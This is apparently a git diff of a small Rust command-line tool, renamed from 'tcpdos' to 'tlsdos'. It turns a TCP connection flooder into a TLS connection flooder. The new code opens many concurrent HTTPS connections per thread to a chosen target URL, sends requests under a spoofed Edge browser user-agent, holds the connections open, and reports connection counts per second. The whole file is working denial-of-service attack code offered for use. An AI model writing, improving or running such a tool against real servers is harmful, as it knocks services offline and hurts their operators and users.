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+[[package]] +name = "windows_x86_64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" diff --git a/Cargo.toml b/Cargo.toml index 3b470cc..9b1f998 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,5 +1,5 @@ [package] -name = "tcpdos" +name = "tlsdos" version = "0.1.0" edition = "2021" @@ -7,3 +7,8 @@ edition = "2021" [dependencies] clap = {version = "4.4.8", features = ["derive"]} +rustls = { version = "0.23.10", features = ["ring"], default-features = false } +tokio = { version = "1.38.0", features = ["full"]} +tokio-rustls = { version = "0.26.0", default-features = false, features = ["ring"] } +url = "2.5.2" +webpki-roots = "0.26.3" diff --git a/src/main.rs b/src/main.rs index 78c083f..a4a10a7 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,51 +1,136 @@ +use rustls::{pki_types::ServerName, ClientConfig, RootCertStore}; use std::{ - io::{self, Write}, - net::{SocketAddr, TcpStream}, - sync::atomic::{AtomicU64, Ordering}, - sync::Arc, + net::{SocketAddr, ToSocketAddrs}, + sync::{ + atomic::{AtomicU64, Ordering}, + Arc, + }, + vec, +}; +use tokio::{ + io::{self, AsyncReadExt, AsyncWriteExt}, + net::TcpStream, }; use clap::Parser; +use tokio_rustls::{client::TlsStream, TlsConnector}; +use url::Url; #[derive(Debug, Parser)] struct Args { - #[clap(default_value = "127.0.0.1:113")] - ip: SocketAddr, + #[clap(default_value = "https://127.0.0.1:443")] + url: Url, #[clap(default_value = "20")] threads: u64, + + #[clap(default_value = "10")] + connections_per_thread: u64, } -fn main() { +#[tokio::main] +async fn main() { let cli = Args::parse(); let threads = cli.threads; + let connections_per_thread = cli.connections_per_thread; - println!("Target: {}", cli.ip); + if cli.url.clone().scheme() != "https" { + eprintln!("Only HTTPS is supported."); + std::process::exit(1); + } - let send_count = Arc::new(AtomicU64::new(0)); + let host = &*cli.url.host_str().unwrap().to_string().leak(); + println!("{}:{}", host, cli.url.port().unwrap_or(443)); + let host_and_port: &SocketAddr = &*Box::leak(Box::new( + format!("{}:{}", host, cli.url.port().unwrap_or(443)) + .to_socket_addrs() + .unwrap() + .next() + .unwrap(), + )); + let content = &*format!( + "GET {} HTTP/1.1\r\nHost: {}\r\nUser-Agent: +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0\r\n\r\n", + cli.url.path(), + cli.url.host_str().unwrap() + ).leak(); + + println!("Target: {}", cli.url); + + let connection_count = Arc::new(AtomicU64::new(0)); + + let root_store = RootCertStore { + roots: webpki_roots::TLS_SERVER_ROOTS.into(), + }; + + let config = Arc::new( + rustls::ClientConfig::builder() + .with_root_certificates(root_store) + .with_no_client_auth(), + ); + + struct Connection { + connector: TlsConnector, + socket: TcpStream, + stream: TlsStream, + } for _ in 0..threads { - let send_count = Arc::clone(&send_count); - std::thread::spawn(move || loop { - match TcpStream::connect_timeout(&cli.ip, std::time::Duration::from_nanos(100)) { - Ok(_) => send_count.fetch_add(1, Ordering::Relaxed), - Err(_) => send_count.fetch_add(1, Ordering::Relaxed), - }; + let connection_count = Arc::clone(&connection_count); + + let config = config.clone(); + tokio::spawn(async move { + let mut streams: Vec> = vec![]; + + for _ in 0..connections_per_thread { + let connector = TlsConnector::from(config.clone()); + let socket = TcpStream::connect(host_and_port).await.unwrap(); + let mut stream = connector + .connect(ServerName::try_from(host.as_bytes()).unwrap(), socket) + .await + .unwrap(); + + connection_count.fetch_add(1, Ordering::Relaxed); + + stream.write_all(content.as_bytes()).await.unwrap(); + + streams.push(stream); + } + + // println!("{} Connections created.", connections_per_thread); + + loop { + for streams in streams.iter_mut() { + let mut buffer = vec![]; + match streams.read_to_end(&mut buffer).await { + Ok(_) => { + } + Err(e) => { + eprintln!("Error: {:?}", e); + connection_count.fetch_sub(1, Ordering::Relaxed); + } + } + } + } }); } - std::thread::spawn(move || { + println!("Press Ctrl+C to stop."); + + let connection_count_ = connection_count.clone(); + tokio::spawn(async move { let mut last_count = 0; loop { - let send_count = send_count.load(Ordering::Relaxed); + let connection_count = connection_count_.load(Ordering::Relaxed); print!( - "{} Packets sent. {}/sec", - send_count, - send_count - last_count + "{} Connections {}/sec", + connection_count, + connection_count - last_count ); - last_count = send_count; - io::stdout().flush().unwrap(); + last_count = connection_count; + use std::io::Write; + std::io::stdout().flush().unwrap(); std::thread::sleep(std::time::Duration::from_secs(1)); print!("\r"); }